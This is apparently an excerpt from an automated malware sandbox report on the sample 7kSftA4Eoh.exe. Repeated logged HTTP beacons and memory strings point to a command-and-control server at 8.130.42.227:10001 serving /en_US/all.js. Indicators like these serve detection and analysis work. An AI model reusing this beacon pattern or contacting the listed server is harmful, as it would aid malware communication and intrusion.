Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache

Source: 7kSftA4Eoh.exe, 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125449731.000000000010A000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/2yMe
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/2yMeP
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/2yMeq7
Source: 7kSftA4Eoh.exe, 00000000.00000003.2067405841.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.3120649557.0000000000195000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2486331927.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.3031168430.0000000000198000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2132660259.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.3065050959.0000000000197000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2475694262.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2949804872.0000000000198000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125449731.000000000010A000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2099991629.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2984468347.0000000000198000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2973424175.0000000000198000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.3019731119.0000000000198000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2454151218.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2034975123.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.3042669093.0000000000195000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357124729.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2056644230.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js
Source: 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js#?
Source: 7kSftA4Eoh.exe, 00000000.00000003.2067405841.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497532252.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2078222580.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2177812007.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2121871297.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js0
